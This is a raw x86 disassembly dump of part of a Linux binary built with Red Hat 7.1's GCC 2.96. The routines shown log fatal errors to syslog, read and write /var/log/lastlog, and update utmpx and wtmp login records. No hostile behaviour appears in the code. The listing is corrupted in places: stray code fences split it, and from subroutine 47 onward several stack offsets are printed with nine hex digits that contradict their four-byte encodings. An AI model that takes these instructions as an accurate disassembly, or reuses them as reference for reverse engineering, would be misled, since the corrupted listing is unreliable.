0804ff8e   53                        push    %ebx
0804ff8f   e8 48 9e ff ff            call    08049ddc <vsnprintf>
0804ff94   8b 0d fc 7b 07 08         mov     0x8077bfc,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804ff9a   83 c4 10                  add     $0x10,%esp
0804ff9d   85 c9                     test    %ecx,%ecx
0804ff9f   74 15                     je      0804ffb6 <Unknown0044+0x5a>
0804ffa1   52                        push    %edx
0804ffa2   53                        push    %ebx
0804ffa3   68 3a e9 06 08            push    $0x806e93a   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal: %s"
0804ffa8   ff 35 0c 9c 07 08         pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
0804ffae   e8 49 9d ff ff            call    08049cfc <fprintf>
0804ffb3   83 c4 10                  add     $0x10,%esp
0804ffb6   50                        push    %eax
0804ffb7   ff 35 00 7c 07 08         pushl   0x8077c00   ;[in .data] 8 'x8 x0 x0 x0' ""
0804ffbd   6a 01                     push    $0x1
0804ffbf   ff 35 04 7c 07 08         pushl   0x8077c04   ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
0804ffc5   e8 62 a1 ff ff            call    0804a12c <openlog>
0804ffca   83 c4 0c                  add     $0xc,%esp
0804ffcd   53                        push    %ebx
0804ffce   68 45 e9 06 08            push    $0x806e945   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal:
                                                          %.500s"
0804ffd3   6a 03                     push    $0x3
0804ffd5   e8 f2 9f ff ff            call    08049fcc <syslog>
0804ffda   e8 fd a1 ff ff            call    0804a1dc <closelog>
0804ffdf   e8 28 ff ff ff            call    0804ff0c <Unknown0043>
0804ffe4   c7 04 24 01 00 00 00      movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
0804ffeb   e8 5c a3 ff ff            call    0804a34c <exit>


   ;
   ; >---------------------< Subroutine # 45 >---------------------<
   ;
0804fff0 <Unknown0045>:
0804fff0   55                        push    %ebp
0804fff1   89 e5                     mov     %esp,%ebp
0804fff3   53                        push    %ebx
0804fff4   8b 1d f8 7b 07 08         mov     0x8077bf8,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
0804fffa   81 ec 04 04 00 00         sub     $0x404,%esp   ;1028 'x4 x4 x0 x0' ""
08050000   85 db                     test    %ebx,%ebx
08050002   74 0c                     je      08050010 <Unknown0045+0x20>
08050004   83 ec 0c                  sub     $0xc,%esp
08050007   6a 01                     push    $0x1
08050009   e8 3e a3 ff ff            call    0804a34c <exit>
0805000e   89 f6                     mov     %esi,%esi
08050010   8d 45 10                  lea     0x10(%ebp),%eax
08050013   50                        push    %eax
08050014   ff 75 0c                  pushl   0xc(%ebp)
08050017   68 00 04 00 00            push    $0x400   ;1024 'x0 x4 x0 x0' ""
0805001c   8d 9d f8 fb ff ff         lea     0xfffffbf8(%ebp),%ebx   ;-1032 'xf8 xfb xff xff' ""
08050022   53                        push    %ebx
08050023   e8 b4 9d ff ff            call    08049ddc <vsnprintf>
08050028   8b 0d fc 7b 07 08         mov     0x8077bfc,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805002e   83 c4 10                  add     $0x10,%esp
08050031   85 c9                     test    %ecx,%ecx
08050033   74 15                     je      0805004a <Unknown0045+0x5a>
08050035   52                        push    %edx
08050036   53                        push    %ebx
08050037   68 3a e9 06 08            push    $0x806e93a   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal: %s"
0805003c   ff 35 0c 9c 07 08         pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                          (Red Hat Linux 7.1 2.96-79)"
08050042   e8 b5 9c ff ff            call    08049cfc <fprintf>
08050047   83 c4 10                  add     $0x10,%esp
0805004a   50                        push    %eax
0805004b   ff 35 00 7c 07 08         pushl   0x8077c00   ;[in .data] 8 'x8 x0 x0 x0' ""
08050051   6a 01                     push    $0x1
08050053   ff 35 04 7c 07 08         pushl   0x8077c04   ;[in .data] 134670272 'xc0 xe7 x6 x8' ""
```

```
08050059  e8 ce a0 ff ff           call    0804a12c <openlog>
0805005e  83 c4 0c                 add     $0xc,%esp
08050061  53                       push    %ebx
08050062  68 45 e9 06 08           push    $0x806e945   ;[in .rodata] 1635017062 'x66 x61 x74 x61' "fatal:
                                                         %.500s"
08050067  ff 75 08                 pushl   0x8(%ebp)
0805006a  e8 29 fc ff ff           call    0804fc98 <Unknown0037>
0805006f  89 04 24                 mov     %eax,(%esp,1)
08050072  e8 55 9f ff ff           call    08049fcc <syslog>
08050077  e8 60 a1 ff ff           call    0804a1dc <closelog>
0805007c  e8 8b fe ff ff           call    0804ff0c <Unknown0043>
08050081  c7 04 24 01 00 00 00      movl    $0x1,(%esp,1)   ;1 'x1 x0 x0 x0' ""
08050088  e8 bf a2 ff ff           call    0804a34c <exit>
0805008d  8d 76 00                 lea     0x0(%esi),%esi


   ;
   ; >---------------------<  Subroutine #  46 >---------------------<
   ;
08050090 <Unknown0046>:
08050090  55                       push    %ebp
08050091  89 e5                    mov     %esp,%ebp
08050093  57                       push    %edi
08050094  56                       push    %esi
08050095  53                       push    %ebx
08050096  81 ec 44 01 00 00         sub     $0x144,%esp   ;324 'x44 x1 x0 x0' "D"
0805009c  6a 00                    push    $0x0
0805009e  68 60 e9 06 08           push    $0x806e960   ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                                         "/var/log/lastlog"
080500a3  8b 75 08                 mov     0x8(%ebp),%esi
080500a6  8b 7d 14                 mov     0x14(%ebp),%edi
080500a9  e8 4e a2 ff ff           call    0804a2fc <open>
080500ae  89 c3                    mov     %eax,%ebx
080500b0  83 c4 10                 add     $0x10,%esp
080500b3  85 db                    test    %ebx,%ebx
080500b5  79 05                    jns     080500bc <Unknown0046+0x2c>
080500b7  31 c0                    xor     %eax,%eax
080500b9  eb 7f                    jmp     0805013a <Unknown0046+0xaa>
080500bb  90                       nop
080500bc  8d 04 f6                 lea     (%esi,%esi,8),%eax
080500bf  52                       push    %edx
080500c0  8d 04 c6                 lea     (%esi,%eax,8),%eax
080500c3  6a 00                    push    $0x0
080500c5  c1 e0 02                 shl     $0x2,%eax
080500c8  50                       push    %eax
080500c9  53                       push    %ebx
080500ca  e8 4d a1 ff ff           call    0804a21c <lseek>
080500cf  83 c4 0c                 add     $0xc,%esp
080500d2  68 24 01 00 00           push    $0x124   ;292 'x24 x1 x0 x0' "$"
080500d7  8d 85 b8 fe ff ff         lea     0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
080500dd  50                       push    %eax
080500de  53                       push    %ebx
080500df  e8 c8 a3 ff ff           call    0804a4ac <read>
080500e4  83 c4 10                 add     $0x10,%esp
080500e7  3d 24 01 00 00           cmp     $0x124,%eax   ;292 'x24 x1 x0 x0' "$"
080500ec  74 0e                    je      080500fc <Unknown0046+0x6c>
080500ee  83 ec 0c                 sub     $0xc,%esp
080500f1  53                       push    %ebx
080500f2  e8 e5 9b ff ff           call    08049cdc <close>
080500f7  31 c0                    xor     %eax,%eax
080500f9  eb 3f                    jmp     0805013a <Unknown0046+0xaa>
080500fb  90                       nop
080500fc  83 ec 0c                 sub     $0xc,%esp
080500ff  53                       push    %ebx
08050100  e8 d7 9b ff ff           call    08049cdc <close>
08050105  83 c4 10                 add     $0x10,%esp
08050108  81 ff 01 01 00 00         cmp     $0x101,%edi   ;257 'x1 x1 x0 x0' ""
0805010e  76 05                    jbe     08050115 <Unknown0046+0x85>
08050110  bf 01 01 00 00           mov     $0x101,%edi   ;257 'x1 x1 x0 x0' ""
08050115  50                       push    %eax
08050116  8d 47 ff                 lea     0xffffffff(%edi),%eax
08050119  50                       push    %eax
0805011a  8d 85 dc fe ff ff         lea     0xfffffedc(%ebp),%eax   ;-292 'xdc xfe xff xff' ""
08050120  50                       push    %eax
08050121  ff 75 10                 pushl   0x10(%ebp)
08050124  e8 a3 a2 ff ff           call    0804a3cc <strncpy>
08050129  8b 45 10                 mov     0x10(%ebp),%eax
0805012c  c6 44 07 ff 00           movb    $0x0,0xffffffff(%edi,%eax,1)
08050131  83 c4 10                 add     $0x10,%esp
08050134  8b 85 b8 fe ff ff         mov     0xfffffeb8(%ebp),%eax   ;-328 'xb8 xfe xff xff' ""
0805013a  8d 65 f4                 lea     0xfffffff4(%ebp),%esp
0805013d  5b                       pop     %ebx
0805013e  5e                       pop     %esi
0805013f  5f                       pop     %edi
```

```
08050140  5d                          pop     %ebp
08050141  c3                          ret
08050142  89 f6                       mov     %esi,%esi


  ;
  ; >--------------------<  Subroutine #  47 >--------------------<
  ;
08050144 <Unknown0047>:
08050144  55                          push    %ebp
08050145  89 e5                       mov     %esp,%ebp
08050147  57                          push    %edi
08050148  56                          push    %esi
08050149  53                          push    %ebx
0805014a  a1 24 01 08 08              mov     0x8080124,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0805014f  81 ec 3c 03 00 00           sub     $0x33c,%esp      ;828 'x3c x3 x0 x0' "<"
08050155  85 c0                       test    %eax,%eax
08050157  0f 84 3f 02 00 00           je      0805039c <Unknown0047+0x258>  ;575 'x3f x2 x0 x0' "?"
0805015d  57                          push    %edi
0805015e  68 80 01 00 00              push    $0x180   ;384 'x80 x1 x0 x0' ""
08050163  6a 00                       push    $0x0
08050165  8d 9d 38 fd ff ff           lea     0xfffffd38(%ebp),%ebx   ;-712 'x38 xfd xff xff' "8"
0805016b  53                          push    %ebx
0805016c  e8 3b a2 ff ff              call    0804a3ac <memset>
08050171  83 c4 0c                    add     $0xc,%esp
08050174  8b 45 0c                    mov     0xc(%ebp),%eax
08050177  6a 20                       push    $0x20
08050179  83 c0 05                    add     $0x5,%eax
0805017c  50                          push    %eax
0805017d  8d 85 40 fd ff ff           lea     0xfffffd40(%ebp),%eax   ;-704 'x40 xfd xff xff' "@"
08050183  50                          push    %eax
08050184  e8 43 a2 ff ff              call    0804a3cc <strncpy>
08050189  8b 45 10                    mov     0x10(%ebp),%eax
0805018c  83 c4 10                    add     $0x10,%esp
0805018f  80 38 00                    cmpb    $0x0,(%eax)
08050192  75 30                       jne     080501c4 <Unknown0047+0x80>
08050194  e8 e3 9f ff ff              call    0804a17c <setutxent>
08050199  8d 76 00                    lea     0x0(%esi),%esi
0805019c  e8 1b a0 ff ff              call    0804a1bc <getutxent>
080501a1  85 c0                       test    %eax,%eax
080501a3  74 18                       je      080501bd <Unknown0047+0x79>
080501a5  8b 55 08                    mov     0x8(%ebp),%edx
080501a8  39 50 04                    cmp     %edx,0x4(%eax)
080501ab  75 ef                       jne     0805019c <Unknown0047+0x58>
080501ad  8d bd 38 fd ff ff           lea     0xfffffd38(%ebp),%edi   ;-712 'x38 xfd xff xff' "8"
080501b3  fc                          cld
080501b4  b9 60 00 00 00              mov     $0x60,%ecx   ;96 'x60 x0 x0 x0' "`"
080501b9  89 c6                       mov     %eax,%esi
080501bb  f3 a5                       repz movsl %ds:(%esi),%es:(%edi)
080501bd  e8 2a 9d ff ff              call    08049eec <endutxent>
080501c2  eb 31                       jmp     080501f5 <Unknown0047+0xb1>
080501c4  83 ec 0c                    sub     $0xc,%esp
080501c7  53                          push    %ebx
080501c8  e8 5f 9a ff ff              call    08049c2c <getutxline>
080501cd  83 c4 10                    add     $0x10,%esp
080501d0  85 c0                       test    %eax,%eax
080501d2  74 0c                       je      080501e0 <Unknown0047+0x9c>
080501d4  fc                          cld
080501d5  b9 60 00 00 00              mov     $0x60,%ecx   ;96 'x60 x0 x0 x0' "`"
080501da  89 df                       mov     %ebx,%edi
080501dc  89 c6                       mov     %eax,%esi
080501de  f3 a5                       repz movsl %ds:(%esi),%es:(%edi)
080501e0  56                          push    %esi
080501e1  6a 20                       push    $0x20
080501e3  ff 75 10                    pushl   0x10(%ebp)
080501e6  8d 85 64 fd ff ff           lea     0xfffffd64(%ebp),%eax   ;-668 'x64 xfd xff xff' "d"
080501ec  50                          push    %eax
080501ed  e8 da a1 ff ff              call    0804a3cc <strncpy>
080501f2  83 c4 10                    add     $0x10,%esp
080501f5  53                          push    %ebx
080501f6  8d 85 d8 fc ff ff           lea     0xfffffcd8(%ebp),%eax   ;-808 'xd8 xfc xff xff' ""
080501fc  50                          push    %eax
080501fd  ff 75 0c                    pushl   0xc(%ebp)
08050200  6a 03                       push    $0x3
08050202  c6 85 b8 fc ff ff 00        movb    $0x0,0xfffffcb8(%ebp)   ;-840 'xb8 xfc xff xff' ""
08050209  e8 1e 9e ff ff              call    0804a02c <__xstat>
0805020e  83 c4 10                    add     $0x10,%esp
08050211  85 c0                       test    %eax,%eax
08050213  75 1e                       jne     08050233 <Unknown0047+0xef>
08050215  0f b6 85 f8 fc ff ff        movzbl  0xfffffcf8(%ebp),%eax   ;-776 'xf8 xfc xff xff' ""
0805021c  50                          push    %eax
0805021d  68 72 e9 06 08              push    $0x806e972   ;[in .rodata] 858793296 'x50 x25 x30 x33' "P%03d"
08050222  6a 14                       push    $0x14
08050224  8d 85 b8 fc ff ff           lea     0xfffffcb8(%ebp),%eax   ;-840 'xb8 xfc xff xff' ""
```

```
0805022a  50                          push    %eax
0805022b  e8 ac a0 ff ff              call    0804a2dc <snprintf>
08050230  83 c4 10                    add     $0x10,%esp
08050233  51                          push    %ecx
08050234  6a 04                       push    $0x4
08050236  8d 85 b8 fc ff ff           lea     0xffffffcb8(%ebp),%eax   ;-840 'xb8 xfc xff xff' ""
0805023c  50                          push    %eax
0805023d  8d 85 60 fd ff ff           lea     0xffffffd60(%ebp),%eax   ;-672 'x60 xfd xff xff' "`"
08050243  50                          push    %eax
08050244  e8 83 a1 ff ff              call    0804a3cc <strncpy>
08050249  58                          pop     %eax
0805024a  8b 45 08                    mov     0x8(%ebp),%eax
0805024d  89 85 3c fd ff ff           mov     %eax,0xffffffd3c(%ebp)   ;-708 'x3c xfd xff xff' "<"
08050253  8b 45 10                    mov     0x10(%ebp),%eax
08050256  5a                          pop     %edx
08050257  31 d2                       xor     %edx,%edx
08050259  80 38 00                    cmpb    $0x0,(%eax)
0805025c  0f 95 c2                    setne   %dl
0805025f  b8 08 00 00 00              mov     $0x8,%eax   ;8 'x8 x0 x0 x0' ""
08050264  66 29 d0                    sub     %dx,%ax
08050267  6a 00                       push    $0x0
08050269  66 89 85 38 fd ff ff        mov     %ax,0xffffffd38(%ebp)   ;-712 'x38 xfd xff xff' "8"
08050270  8d 85 8c fe ff ff           lea     0xffffffe8c(%ebp),%eax   ;-372 'x8c xfe xff xff' ""
08050276  50                          push    %eax
08050277  e8 40 a0 ff ff              call    0804a2bc <gettimeofday>
0805027c  83 c4 0c                    add     $0xc,%esp
0805027f  68 00 01 00 00              push    $0x100   ;256 'x0 x1 x0 x0' ""
08050284  8b 55 08                    mov     0x8(%ebp),%edx
08050287  ff 75 18                    pushl   0x18(%ebp)
0805028a  8d 85 84 fd ff ff           lea     0xffffffd84(%ebp),%eax   ;-636 'x84 xfd xff xff' ""
08050290  89 95 88 fe ff ff           mov     %edx,0xffffffe88(%ebp)   ;-376 'x88 xfe xff xff' ""
08050296  50                          push    %eax
08050297  8d 9d 38 fd ff ff           lea     0xffffffd38(%ebp),%ebx   ;-712 'x38 xfd xff xff' "8"
0805029d  e8 2a a1 ff ff              call    0804a3cc <strncpy>
080502a2  89 1c 24                    mov     %ebx,(%esp,1)
080502a5  c6 85 83 fe ff ff 00        movb    $0x0,0xffffffe83(%ebp)   ;-381 'x83 xfe xff xff' ""
080502ac  e8 3b 9d ff ff              call    08049fec <pututxline>
080502b1  5e                          pop     %esi
080502b2  5f                          pop     %edi
080502b3  53                          push    %ebx
080502b4  68 78 e9 06 08              push    $0x806e978   ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                              "/var/log/wtmp"
080502b9  e8 7e 9d ff ff              call    0804a03c <updwtmpx>
080502be  e8 29 9c ff ff              call    08049eec <endutxent>
080502c3  8b 45 10                    mov     0x10(%ebp),%eax
080502c6  83 c4 10                    add     $0x10,%esp
080502c9  80 38 00                    cmpb    $0x0,(%eax)
080502cc  0f 84 ca 00 00 00           je      0805039c <Unknown0047+0x258>   ;202 'xca x0 x0 x0' ""
080502d2  53                          push    %ebx
080502d3  bf 24 01 00 00              mov     $0x124,%edi   ;292 'x24 x1 x0 x0' "$"
080502d8  57                          push    %edi
080502d9  6a 00                       push    $0x0
080502db  8d b5 b8 fe ff ff           lea     0xffffffeb8(%ebp),%esi   ;-328 'xb8 xfe xff xff' ""
080502e1  56                          push    %esi
080502e2  e8 c5 a0 ff ff              call    0804a3ac <memset>
080502e7  c7 04 24 00 00 00 00        movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
080502ee  e8 99 9d ff ff              call    0804a08c <time>
080502f3  83 c4 0c                    add     $0xc,%esp
080502f6  89 85 b8 fe ff ff           mov     %eax,0xffffffeb8(%ebp)   ;-328 'xb8 xfe xff xff' ""
080502fc  8b 45 0c                    mov     0xc(%ebp),%eax
080502ff  6a 20                       push    $0x20
08050301  83 c0 05                    add     $0x5,%eax
08050304  50                          push    %eax
08050305  8d 85 bc fe ff ff           lea     0xffffffebc(%ebp),%eax   ;-324 'xbc xfe xff xff' ""
0805030b  50                          push    %eax
0805030c  e8 bb a0 ff ff              call    0804a3cc <strncpy>
08050311  83 c4 0c                    add     $0xc,%esp
08050314  68 00 01 00 00              push    $0x100   ;256 'x0 x1 x0 x0' ""
08050319  ff 75 18                    pushl   0x18(%ebp)
0805031c  8d 85 dc fe ff ff           lea     0xffffffedc(%ebp),%eax   ;-292 'xdc xfe xff xff' ""
08050322  50                          push    %eax
08050323  e8 a4 a0 ff ff              call    0804a3cc <strncpy>
08050328  5a                          pop     %edx
08050329  59                          pop     %ecx
0805032a  6a 02                       push    $0x2
0805032c  68 60 e9 06 08              push    $0x806e960   ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                              "/var/log/lastlog"
08050331  e8 c6 9f ff ff              call    0804a2fc <open>
08050336  89 c3                       mov     %eax,%ebx
08050338  83 c4 10                    add     $0x10,%esp
0805033b  85 db                       test    %ebx,%ebx
0805033d  78 5d                       js      0805039c <Unknown0047+0x258>
0805033f  8b 55 14                    mov     0x14(%ebp),%edx
08050342  50                          push    %eax
```

```
08050343  8d 04 d2              lea     (%edx,%edx,8),%eax
08050346  8d 04 c2              lea     (%edx,%eax,8),%eax
08050349  6a 00                 push    $0x0
0805034b  c1 e0 02              shl     $0x2,%eax
0805034e  50                    push    %eax
0805034f  53                    push    %ebx
08050350  e8 c7 9e ff ff        call    0804a21c <lseek>
08050355  83 c4 0c              add     $0xc,%esp
08050358  57                    push    %edi
08050359  56                    push    %esi
0805035a  53                    push    %ebx
0805035b  e8 4c 99 ff ff        call    08049cac <write>
08050360  83 c4 10              add     $0x10,%esp
08050363  3d 24 01 00 00        cmp     $0x124,%eax   ;292 'x24 x1 x0 x0' "$"
08050368  74 26                 je      08050390 <Unknown0047+0x24c>
0805036a  83 ec 10              sub     $0x10,%esp
0805036d  e8 ca 9a ff ff        call    08049e3c <__errno_location>
08050372  59                    pop     %ecx
08050373  ff 30                 pushl   (%eax)
08050375  e8 72 9a ff ff        call    08049dec <strerror>
0805037a  83 c4 0c              add     $0xc,%esp
0805037d  50                    push    %eax
0805037e  68 60 e9 06 08        push    $0x806e960   ;[in .rodata] 1918989871 'x2f x76 x61 x72'
                                                     "/var/log/lastlog"
08050383  68 a0 e9 06 08        push    $0x806e9a0   ;[in .rodata] 1819635523 'x43 x6f x75 x6c' "Could not
                                                     write %.100s: %.100s"
08050388  e8 8f f8 ff ff        call    0804fc1c <Unknown0036>
0805038d  83 c4 10              add     $0x10,%esp
08050390  83 ec 0c              sub     $0xc,%esp
08050393  53                    push    %ebx
08050394  e8 43 99 ff ff        call    08049cdc <close>
08050399  83 c4 10              add     $0x10,%esp
0805039c  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805039f  5b                    pop     %ebx
080503a0  5e                    pop     %esi
080503a1  5f                    pop     %edi
080503a2  5d                    pop     %ebp
080503a3  c3                    ret

  ;
  ; >--------------------< Subroutine #  48 >--------------------<
  ;
080503a4 <Unknown0048>:
080503a4  55                    push    %ebp
080503a5  8b 0d 24 01 08 08     mov     0x8080124,%ecx   ;[in .bss] 0 'x0 x0 x0 x0' ""
080503ab  89 e5                 mov     %esp,%ebp
080503ad  85 c9                 test    %ecx,%ecx
080503af  53                    push    %ebx
080503b0  53                    push    %ebx
080503b1  74 2a                 je      080503dd <Unknown0048+0x39>
080503b3  8b 5d 0c              mov     0xc(%ebp),%ebx
080503b6  83 ec 0c              sub     $0xc,%esp
080503b9  83 c3 05              add     $0x5,%ebx
080503bc  53                    push    %ebx
080503bd  e8 5a 9c ff ff        call    0804a01c <logout>
080503c2  83 c4 10              add     $0x10,%esp
080503c5  85 c0                 test    %eax,%eax
080503c7  74 14                 je      080503dd <Unknown0048+0x39>
080503c9  52                    push    %edx
080503ca  68 71 e9 06 08        push    $0x806e971   ;[in .rodata] 807751680 'x0 x50 x25 x30' ""
080503cf  68 71 e9 06 08        push    $0x806e971   ;[in .rodata] 807751680 'x0 x50 x25 x30' ""
080503d4  53                    push    %ebx
080503d5  e8 92 98 ff ff        call    08049c6c <logwtmp>
080503da  83 c4 10              add     $0x10,%esp
080503dd  8b 5d fc              mov     0xfffffffc(%ebp),%ebx
080503e0  c9                    leave
080503e1  c3                    ret
080503e2  89 f6                 mov     %esi,%esi

  ;
  ; >--------------------< Subroutine #  49 >--------------------<
  ;
080503e4 <Unknown0049>:
080503e4  55                    push    %ebp
080503e5  89 e5                 mov     %esp,%ebp
080503e7  57                    push    %edi
080503e8  56                    push    %esi
080503e9  53                    push    %ebx
080503ea  83 ec 0c              sub     $0xc,%esp
080503ed  8b 7d 08              mov     0x8(%ebp),%edi
080503f0  8b 1f                 mov     (%edi),%ebx
080503f2  eb 01                 jmp     080503f5 <Unknown0049+0x11>
```

```
080503f4  43                          inc     %ebx
080503f5  8a 03                       mov     (%ebx),%al
080503f7  3c 20                       cmp     $0x20,%al
080503f9  74 f9                       je      080503f4 <Unknown0049+0x10>
080503fb  3c 09                       cmp     $0x9,%al
080503fd  74 f5                       je      080503f4 <Unknown0049+0x10>
080503ff  83 e8 30                    sub     $0x30,%eax
08050402  3c 09                       cmp     $0x9,%al
08050404  77 2a                       ja      08050430 <Unknown0049+0x4c>
08050406  89 1f                       mov     %ebx,(%edi)
08050408  eb 03                       jmp     0805040d <Unknown0049+0x29>
0805040a  89 f6                       mov     %esi,%esi
0805040c  43                          inc     %ebx
0805040d  8a 03                       mov     (%ebx),%al
0805040f  83 e8 30                    sub     $0x30,%eax
08050412  3c 09                       cmp     $0x9,%al
08050414  76 f6                       jbe     0805040c <Unknown0049+0x28>
08050416  0f be 33                    movsbl  (%ebx),%esi
08050419  c6 03 00                    movb    $0x0,(%ebx)
0805041c  50                          push    %eax
0805041d  6a 0a                       push    $0xa
0805041f  ff 37                       pushl   (%edi)
08050421  ff 75 0c                    pushl   0xc(%ebp)
08050424  e8 1f 20 01 00              call    08062448 <Unknown0335>
08050429  83 c4 10                    add     $0x10,%esp
0805042c  85 c0                       test    %eax,%eax
0805042e  74 04                       je      08050434 <Unknown0049+0x50>
08050430  31 c0                       xor     %eax,%eax
08050432  eb 0b                       jmp     0805043f <Unknown0049+0x5b>
08050434  89 f0                       mov     %esi,%eax
08050436  88 03                       mov     %al,(%ebx)
08050438  89 1f                       mov     %ebx,(%edi)
0805043a  b8 01 00 00 00              mov     $0x1,%eax    ;1 'x1 x0 x0 x0' ""
0805043f  8d 65 f4                    lea     0xfffffff4(%ebp),%esp
08050442  5b                          pop     %ebx
08050443  5e                          pop     %esi
08050444  5f                          pop     %edi
08050445  5d                          pop     %ebp
08050446  c3                          ret
08050447  90                          nop


  ;
  ; >--------------------<  Subroutine #  50 >--------------------<
  ;
08050448 <Unknown0050>:
08050448  55                          push    %ebp
08050449  89 e5                       mov     %esp,%ebp
0805044b  57                          push    %edi
0805044c  56                          push    %esi
0805044d  53                          push    %ebx
0805044e  83 ec 0c                    sub     $0xc,%esp
08050451  8b 7d 08                    mov     0x8(%ebp),%edi
08050454  8b 07                       mov     (%edi),%eax
08050456  eb 03                       jmp     0805045b <Unknown0050+0x13>
08050458  8d 41 01                    lea     0x1(%ecx),%eax
0805045b  89 45 f0                    mov     %eax,0xfffffff0(%ebp)
0805045e  89 c1                       mov     %eax,%ecx
08050460  8a 01                       mov     (%ecx),%al
08050462  3c 20                       cmp     $0x20,%al
08050464  74 f2                       je      08050458 <Unknown0050+0x10>
08050466  3c 09                       cmp     $0x9,%al
08050468  74 ee                       je      08050458 <Unknown0050+0x10>
0805046a  8a 01                       mov     (%ecx),%al
0805046c  83 e8 30                    sub     $0x30,%eax
0805046f  31 f6                       xor     %esi,%esi
08050471  3c 09                       cmp     $0x9,%al
08050473  77 47                       ja      080504bc <Unknown0050+0x74>
08050475  8d 76 00                    lea     0x0(%esi),%esi
08050478  0f be 01                    movsbl  (%ecx),%eax
0805047b  8d 14 b6                    lea     (%esi,%esi,4),%edx
0805047e  8d 74 50 d0                 lea     0xffffffd0(%eax,%edx,2),%esi
08050482  8d 41 01                    lea     0x1(%ecx),%eax
08050485  89 45 f0                    mov     %eax,0xfffffff0(%ebp)
08050488  89 c1                       mov     %eax,%ecx
0805048a  8a 01                       mov     (%ecx),%al
0805048c  83 e8 30                    sub     $0x30,%eax
0805048f  3c 09                       cmp     $0x9,%al
08050491  76 e5                       jbe     08050478 <Unknown0050+0x30>
08050493  83 ec 08                    sub     $0x8,%esp
08050496  ff 75 10                    pushl   0x10(%ebp)
08050499  8d 5d f0                    lea     0xfffffff0(%ebp),%ebx
0805049c  53                          push    %ebx
0805049d  e8 42 ff ff ff              call    080503e4 <Unknown0049>
```

```
080504a2  83 c4 10              add     $0x10,%esp
080504a5  85 c0                 test    %eax,%eax
080504a7  74 13                 je      080504bc <Unknown0050+0x74>
080504a9  83 ec 08              sub     $0x8,%esp
080504ac  ff 75 14              pushl   0x14(%ebp)
080504af  53                    push    %ebx
080504b0  e8 2f ff ff ff        call    080503e4 <Unknown0049>
080504b5  83 c4 10              add     $0x10,%esp
080504b8  85 c0                 test    %eax,%eax
080504ba  75 04                 jne     080504c0 <Unknown0050+0x78>
080504bc  31 c0                 xor     %eax,%eax
080504be  eb 26                 jmp     080504e6 <Unknown0050+0x9e>
080504c0  8b 4d f0              mov     0xfffffff0(%ebp),%ecx
080504c3  eb 0b                 jmp     080504d0 <Unknown0050+0x88>
080504c5  8d 76 00              lea     0x0(%esi),%esi
080504c8  8d 41 01              lea     0x1(%ecx),%eax
080504cb  89 45 f0              mov     %eax,0xfffffff0(%ebp)
080504ce  89 c1                 mov     %eax,%ecx
080504d0  8a 01                 mov     (%ecx),%al
080504d2  3c 20                 cmp     $0x20,%al
080504d4  74 f2                 je      080504c8 <Unknown0050+0x80>
080504d6  3c 09                 cmp     $0x9,%al
080504d8  74 ee                 je      080504c8 <Unknown0050+0x80>
080504da  8b 45 0c              mov     0xc(%ebp),%eax
080504dd  89 30                 mov     %esi,(%eax)
080504df  89 0f                 mov     %ecx,(%edi)
080504e1  b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
080504e6  8d 65 f4              lea     0xfffffff4(%ebp),%esp
080504e9  5b                    pop     %ebx
080504ea  5e                    pop     %esi
080504eb  5f                    pop     %edi
080504ec  5d                    pop     %ebp
080504ed  c3                    ret
080504ee  89 f6                 mov     %esi,%esi


   ;
   ; >--------------------<  Subroutine #  51 >--------------------<
   ;
080504f0 <Unknown0051>:
080504f0  55                    push    %ebp
080504f1  89 e5                 mov     %esp,%ebp
080504f3  57                    push    %edi
080504f4  56                    push    %esi
080504f5  53                    push    %ebx
080504f6  81 ec 3c 04 00 00     sub     $0x43c,%esp   ;1084 'x3c x4 x0 x0' "<"
080504fc  31 db                 xor     %ebx,%ebx
080504fe  8b 45 14              mov     0x14(%ebp),%eax
08050501  39 c3                 cmp     %eax,%ebx
08050503  c7 85 e0 fb ff ff 00 00 00 00  movl  $0x0,0xfffffbe0(%ebp)  ;0 'x0 x0 x0 x0' ""
0805050d  0f 83 f6 00 00 00     jae     08050609 <Unknown0051+0x119>  ;246 'xf6 x0 x0 x0' ""
08050513  90                    nop
08050514  8b 55 10              mov     0x10(%ebp),%edx
08050517  80 3c 13 21           cmpb    $0x21,(%ebx,%edx,1)
0805051b  75 0f                 jne     0805052c <Unknown0051+0x3c>
0805051d  c7 85 e4 fb ff ff 01 00 00 00  movl  $0x1,0xfffffbe4(%ebp)  ;1 'x1 x0 x0 x0' ""
08050527  43                    inc     %ebx
08050528  eb 0c                 jmp     08050536 <Unknown0051+0x46>
0805052a  89 f6                 mov     %esi,%esi
0805052c  c7 85 e4 fb ff ff 00 00 00 00  movl  $0x0,0xfffffbe4(%ebp)  ;0 'x0 x0 x0 x0' ""
08050536  31 c9                 xor     %ecx,%ecx
08050538  3b 5d 14              cmp     0x14(%ebp),%ebx
0805053b  73 74                 jae     080505b1 <Unknown0051+0xc1>
0805053d  8b 45 10              mov     0x10(%ebp),%eax
08050540  8a 04 03              mov     (%ebx,%eax,1),%al
08050543  3c 2c                 cmp     $0x2c,%al
08050545  88 85 c7 fb ff ff     mov     %al,0xfffffbc7(%ebp)   ;-1081 'xc7 xfb xff xff' ""
0805054b  74 64                 je      080505b1 <Unknown0051+0xc1>
0805054d  8d 95 e8 fb ff ff     lea     0xfffffbe8(%ebp),%edx   ;-1048 'xe8 xfb xff xff' ""
08050553  a1 00 9c 07 08        mov     0x8079c00,%eax   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
